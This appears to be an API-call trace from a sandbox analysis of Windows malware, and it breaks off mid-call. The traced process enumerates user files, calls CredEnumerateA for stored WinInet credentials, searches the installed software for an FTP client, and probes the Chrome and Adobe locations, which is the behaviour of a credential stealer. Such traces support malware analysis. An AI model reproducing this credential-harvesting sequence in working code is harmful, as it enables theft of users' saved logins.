(lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/NNbkVdAxdx.gif", lpSrch="?") returned 0x0 [0078.130] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/NNbkVdAxdx.gif") returned 55 [0078.130] CoTaskMemFree (pv=0x642530) [0078.130] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/0A9nHzXt0hwR.jpg", lpSrch="?") returned 0x0 [0078.130] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/0A9nHzXt0hwR.jpg") returned 91 [0078.130] CoTaskMemFree (pv=0x644168) [0078.130] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/fH744hgI0iOp/MzzAgGzlagV.bmp", lpSrch="?") returned 0x0 [0078.130] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/fH744hgI0iOp/MzzAgGzlagV.bmp") returned 103 [0078.130] CoTaskMemFree (pv=0x662c98) [0078.131] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/D9j5/gxLYq.mkv", lpSrch="?") returned 0x0 [0078.131] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/D9j5/gxLYq.mkv") returned 46 [0078.131] CoTaskMemFree (pv=0x62d938) [0078.131] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/RUmskwBhJoKb.gif", lpSrch="?") returned 0x0 [0078.131] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/RUmskwBhJoKb.gif") returned 49 [0078.131] CoTaskMemFree (pv=0x6743e8) [0078.131] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/bPJPw4vR9qx-4Lbgt1.pdf", lpSrch="?") returned 0x0 [0078.131] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/bPJPw4vR9qx-4Lbgt1.pdf") returned 68 [0078.131] CoTaskMemFree (pv=0x6655b8) [0078.131] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/zoYNEE2QKQOaDz3sqP4S.odp", lpSrch="?") returned 0x0 [0078.131] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/zoYNEE2QKQOaDz3sqP4S.odp") returned 57 [0078.131] CoTaskMemFree (pv=0x6104c0) [0078.132] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/y%20AREhppL_Lg.jpg", lpSrch="?") returned 0x0 [0078.132] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/y%20AREhppL_Lg.jpg") returned 59 [0078.132] CoTaskMemFree (pv=0x610340) [0078.132] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/k61Z8P5gAGRtlElgx.pps", lpSrch="?") returned 0x0 [0078.132] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/k61Z8P5gAGRtlElgx.pps") returned 54 [0078.132] CoTaskMemFree (pv=0x666698) [0078.132] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/ypPSitIQQ.gif", lpSrch="?") returned 0x0 [0078.132] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/ypPSitIQQ.gif") returned 67 [0078.132] CoTaskMemFree (pv=0x668600) [0078.132] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/9vSi.csv", lpSrch="?") returned 0x0 [0078.132] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/9vSi.csv") returned 52 [0078.132] CoTaskMemFree (pv=0x66ead0) [0078.132] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/BHURVU6al7n.flv", lpSrch="?") returned 0x0 [0078.132] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/BHURVU6al7n.flv") returned 68 [0078.132] CoTaskMemFree (pv=0x6643e8) [0078.133] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/y_UFtjx.bmp", lpSrch="?") returned 0x0 [0078.133] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/y_UFtjx.bmp") returned 50 [0078.133] CoTaskMemFree (pv=0x669b50) [0078.133] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/oN5d0P.doc", lpSrch="?") returned 0x0 [0078.133] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/oN5d0P.doc") returned 54 [0078.133] CoTaskMemFree (pv=0x66ec38) [0078.133] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/XlTI5Em.ods", lpSrch="?") returned 0x0 [0078.133] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/XlTI5Em.ods") returned 57 [0078.133] CoTaskMemFree (pv=0x658ab0) [0078.133] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/wUqY%20eKsN.xlsx", lpSrch="?") returned 0x0 [0078.133] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/wUqY%20eKsN.xlsx") returned 51 [0078.133] CoTaskMemFree (pv=0x669f40) [0078.133] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/RcoGp9UniT.jpg", lpSrch="?") returned 0x0 [0078.134] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/RcoGp9UniT.jpg") returned 47 [0078.134] CoTaskMemFree (pv=0x673928) [0078.134] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/G2-2X26mG1J.rtf", lpSrch="?") returned 0x0 [0078.134] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/G2-2X26mG1J.rtf") returned 61 [0078.134] CoTaskMemFree (pv=0x656b80) [0078.134] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/Ia_qHJ3.bmp", lpSrch="?") returned 0x0 [0078.134] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/Ia_qHJ3.bmp") returned 73 [0078.134] CoTaskMemFree (pv=0x670c38) [0078.134] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/aWVXS0xGm_yX9G74.odp", lpSrch="?") returned 0x0 [0078.134] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/aWVXS0xGm_yX9G74.odp") returned 66 [0078.134] CoTaskMemFree (pv=0x6687b0) [0078.134] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/iMNo_O7NY6GO9.pdf", lpSrch="?") returned 0x0 [0078.134] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/iMNo_O7NY6GO9.pdf") returned 61 [0078.134] CoTaskMemFree (pv=0x656d18) [0078.135] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/5qK1J2xjXKkXMfW8u.docx", lpSrch="?") returned 0x0 [0078.135] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/5qK1J2xjXKkXMfW8u.docx") returned 57 [0078.135] CoTaskMemFree (pv=0x658bb0) [0078.135] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/BWMxP%20oDeQ6SH.pptx", lpSrch="?") returned 0x0 [0078.135] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/BWMxP%20oDeQ6SH.pptx") returned 55 [0078.135] CoTaskMemFree (pv=0x666968) [0078.135] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/wyd%20rMiTKbn.doc", lpSrch="?") returned 0x0 [0078.135] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/wyd%20rMiTKbn.doc") returned 63 [0078.135] CoTaskMemFree (pv=0x656b80) [0078.135] IUnknown:Release (This=0x65d330) returned 0x1 [0078.135] lstrlenW (lpString="http://www.facebook.com/") returned 24 [0078.135] lstrlenA (lpString="") returned 0 [0078.135] lstrlenA (lpString="F6") returned 2 [0078.136] CredEnumerateA (in: Filter="Microsoft_WinInet_*", Flags=0x0, Count=0x12fed4, Credential=0x12fed8 | out: Count=0x12fed4, Credential=0x12fed8) returned 0 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0078.284] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0078.284] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0078.284] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0078.284] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0078.284] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x30, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0078.284] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0078.284] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Adobe\\Common", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0078.284] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0078.284] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0078.285] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0078.285] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0078.285] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0078.285] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0078.285] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0078.285] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0078.285] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0078.285] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x31, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0078.285] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0078.285] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="DeluxeFTP") returned 0x0 [0078.285] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.286] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="DeluxeFTP") returned 0x0 [0078.287] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="DeluxeFTP") returned 0x0 [0078.288] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="DeluxeFTP") returned 0x0 [0078.288] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0078.288] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0078.288] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0078.288] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0078.288] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0078.288] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0078.288] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0078.288] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0078.288] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0078.288] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0078.288] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x32, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0078.288] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0078.288] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0078.289] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0078.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0078.289] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0078.289] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647ab8 [0078.289] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0078.289] LocalFree (hMem=0x66b940) returned 0x0 [0078.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome") returned 46 [0078.289] lstrlenA (lpString="\\*.*") returned 4 [0078.289] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0078.289] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome" [0078.289] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0078.289] LocalFree (hMem=0x643aa8) returned 0x0 [0078.289] LocalFree (hMem=0x647ab8) returned 0x0 [0078.289] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0078.289] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0078.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0078.289] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0078.289] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647ab8 [0078.289] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0078.289] LocalFree (hMem=0x66b940) returned 0x0 [0078.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome") returned 46 [0078.289] lstrlenA (lpString="\\*.*") returned 4 [0078.289] LocalAlloc (uFlags=0x40, uBytes=0xb3) 